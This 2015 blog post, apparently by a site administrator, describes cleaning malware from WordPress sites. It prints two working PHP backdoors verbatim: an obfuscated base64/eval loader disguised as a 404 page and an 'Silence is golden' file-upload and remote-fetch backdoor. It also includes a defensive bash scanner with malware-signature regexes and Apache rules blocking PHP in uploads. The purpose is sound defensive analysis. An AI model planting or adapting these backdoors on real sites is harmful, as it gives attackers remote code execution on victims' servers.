Friday, October 2, 2015

WordPress sites malware prevention

[UPDATED: 3/11/2016 - yesterday I found another malware that uses preg_replace with PCRE modifier /e to execute PHP code instead of eval - here it is and document]

Recently I've helped some clients to remove malware infected into WordPress sites. One of them has been blocked by Google Chrome and Firefox with big red scary warning page.
I've found out and used the tool Narnia-Guardian - thought it's very helpful but it didn't guarantee to clean all (it has helped me to clean thousands infected files deeply in framework libraries for a site that integrated with WordPress blog), we must examine code manually and pick malware signatures to add into the blacklist.

Then I kept monitoring access log files and found out some suspicious activities, mostly POST requests, to catch malicious code, then trace out the common attack way:
- Hackers upload lots PHP files to act as backdoors (1). Then do POST request to one of them to upload or create another PHP malware files (2) to do other things like creating WordPress admin account, sending out spam emails, embedding malware into Javascript files (3) (like visitorTracker) or creating a form to allow listing directory content/uploading new files, etc..
- PHP malware files usually contains base64 encoded php code or just receive POST request data (another base64 encoded php code) then decode them and call eval() function to execute those malware. Like this:

 <?php  
 @ignore_user_abort(true);  
 @set_time_limit(0);  
 $getherw3423 = "FFS"."W35"."25KK"."Sfj";  
 $rretert454352 = "b"."".""."a"."s".""."".""."e"."".""."6"."".""."4"."_".""."".""."d"."e"."c"."o".""."".""."".""."d".""."e";  
 $qwretrqt5234 = "";  
 if(!empty($_POST[$getherw3423]) and strlen($_POST[$getherw3423]) > 0 and isset($_POST[$getherw3423])){  
   $qwretrqt5234 = $rretert454352($_POST[$getherw3423]);  
   @eval($qwretrqt5234);  
 }else{  
      echo "<html><head>  
           <title>404 Page Not Found</title>  
           </head><body>  
           <h1>Not Found</h1>  
           <p>The requested URL was not found.</p>  
           </body></html>";  
 }  
 ?>  

- Scanners like Narnia-Guardian might just detect (2) or (3) but not (1) because they mostly looks "clean" like normal functional PHP files. Something likes this:

 <?php  
 // Silence is golden.  
 if(isset($_GET[php4])) {echo '<form action="" method="post" enctype="multipart/form-data" name="silence" id="silence">'; echo '<input type="file" name="file"><input name="golden" type="submit" id="golden" value="Done"></form>';  
 if( $_POST['golden'] == "Done" ) {if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '+'; } else { echo '-'; }}} if(isset($_GET[php5])) {$file=$_GET["php5"]; $wpf=strrchr($file, '/'); $wpf=str_replace("/","",$wpf); $content=file_get_contents($file); $wpt = fopen($wpf, "w"); fwrite($wpt, $content); fclose($wpt); } else {echo '<title></title>';}  
 ?>  

- If we missed some (1) or (2) files when cleaning, malware will be spawned again! Especially when we have to check many sites with hundreds suspicious code files - and hackers only trigger one backdoor file at once - not all - when they checked fail on (2). They will try another backdoor file when checked fail on the 1st one and so on..

So the backdoor is usually involved with eval() execution or $_FILES upload variable.

But some sites also use some plugins that contain clean code of eval() executions or $_FILES.

So we need to examine all code of eval() executions or $_FILES to find out which is clean and which is malicious.
After cleaned all malicious code, we should monitor them frequently to make sure no more malware code in the future.
To do that, I've created a bash script to scan and compare eval() executions or $_FILES usage count. If that differ from 'clean' code count, then send email to notify me. I've also make it to scan malware based on Narnia-Guardian's black list and some I found during cleaning them.

Here is my sample bash script - I've configured it to run by cron every 15 minutes or hourly:

 recipients='xyz@gmail.com'  
 from='xyz@gmail.com'  
   
 function send_email {  
     local subject="$1"  
     local body="$2"  
 #or execute a php script if need SMTP authentication..      
 /usr/sbin/sendmail "$recipients" <<EOF  
 subject:$subject  
 from:$from  
   
 $body  
 EOF  
   
 }  
   
 function keyword_scan {  
     local folder=$1  
     local THRESHOLD=$2  
     local regex_name=$3  
     local regex="$4"  
   
     local count=`grep -r --include=*.php -E "$regex" $folder -l | wc -l`  
   
     if [[ $count -ne $THRESHOLD && $count -gt 0 ]]; then  
                subject="*ALERT* – $regex_name usage ($count) under $folder on serverX differs 'clean' usage ($THRESHOLD)"  
                body="`grep -r --include=*.php -E "$regex" $folder`"  
   
                send_email "$subject" "$body"  
     fi  
     echo folder: $folder regex: $regex_name THRESHOLD: $THRESHOLD count: $count  
 }  
   
 #check visitorTracker / php4..  
 function malware_scan {  
     local folder=$1  
     local regex='visitorTracker|PHNjcmlwdCB0eXBlPSJ0ZXh0L2phdmFzY3JpcH|wpupdatestream|wpwhitesecurity|c4f648718569a2b8e00543f6f75ed83c|\$_GET\[php4\]|GLOBALS\["\\x61\\156\\x75\\156\\x61"\]|\$sF="PCT4BA6ODSE_"|\$hqrrwlpxhh|\$bmhqhhzolg|\$igeosfpzpy|PHP Obfuscator|\$cookey = "ab6b6c56c9|\$cookey = "ac6012748c"|\$cookey = "ad94f0ba61"|\$qV="stop_";|\$pjro=22;|\$vnlpv=\$pjro\+42;|\$d93="l#|PluginJoomla|OBALS\[.n3b0.\]|\\x58\\x67\\x3b\\x43\\x51\\x60|\$ytqzb\$zqyq=|\$xbgyr|\$qjdul|\$s20=strtoupper|\$igeosfpzpy|"ad0732bab1"|\$bmhqhhzolg|\$vdmick=.preg.|\$ksuqdnntbn|chr\(98\).chr\(97\).chr\(115\).chr\(101\).chr\(54\).chr\(52\).chr\(95\).chr\(100\).chr\(101\).chr\(99\).chr\(111\).chr\(100\).chr\(101\)|\$ygu="b"."ase"."64_de"."code"|\$yznqstl|\$rretert454352|\$npaebi|function getperms|c999sh_surl|FZhFtoVcloSnkr3MP2n|x65x76x61x6Cx28x67x7Ax69|base64_decode\(\$_POST\["php"\]|@ini_restore\("safe_mode_include_dir"\);|@ini_restore\("safe_mode_exec_dir"\);|countimg.gif\?id=4da620681febfa679b00b25f|rebots.php'  
     local count=`grep -rI -E "($regex)" $folder --include=*.{js,php,htm,html} --include="wp-content/uploads" -l | wc -l`  
   
     if [ $count -gt 0 ]; then  
                subject="*ALERT* – found visitorTracker/php4.. malware ($count) under $folder on serverX"  
                body="`grep -rI -E \"($regex)\" $folder --include=*.{js,php,htm,html} --include=\"wp-content/uploads\"`"  
   
                send_email "$subject" "$body"  
     fi  
     echo folder: $folder count: $count  
 }  
   
   
 name='eval'  
 regex="(;| )eval\(|preg_replace.*/e"  
 echo keyword_scan - $name  
   
 keyword_scan /home/wpsite1/public_html 9 $name "$regex"  
 keyword_scan /home/wpsite2/public_html 10 $name "$regex"  
   
 name='copy_move_uploaded_file_FILES'  
 regex="(copy|move_uploaded_file)[[:space:]]*\([[:space:]]*._FILES[[:space:]]*[[[:space:]]*"  
 echo keyword_scan - $name  
   
 keyword_scan /home/wpsite1/public_html 2 $name "$regex"  
 keyword_scan /home/wpsite2/public_html 3 $name "$regex"  
   
 echo malware scan : visitorTracker/php4  
 malware_scan /home/wpsite1/public_html  
 malware_scan /home/wpsite2/public_html  

Note that this is just my homemade scanner :) - you'll might need to buy professional plan, like the Sucuri Malware Prevention plan. (I haven't tried it but just tested their free tool ) and follow up Hardening WordPress instruction and/or disallow PHP execution under wp-content/uploads folder, like this:

 <Directory "/home/wpsite1/public_html/wp-content/uploads/">
   <Files "*.php">  
     Order Deny,Allow  
     Deny from All  
   </Files>
 </Directory>  

It would be safe to disable execution from other extensions:
 <Directory "/home/wpsite1/public_html/">
   <FilesMatch "\.(php3|php4|php5|phtml)$">  
     Order Deny,Allow  
     Deny from All  
   </Files>  
 </Directory>  

If we host many PHP sites on the same server, we should use suPHP or FastCGI handlers instead of mod_php so we can isolate and run each site under different user to prevent infection between sites.

FYI - a backdoor screenshot: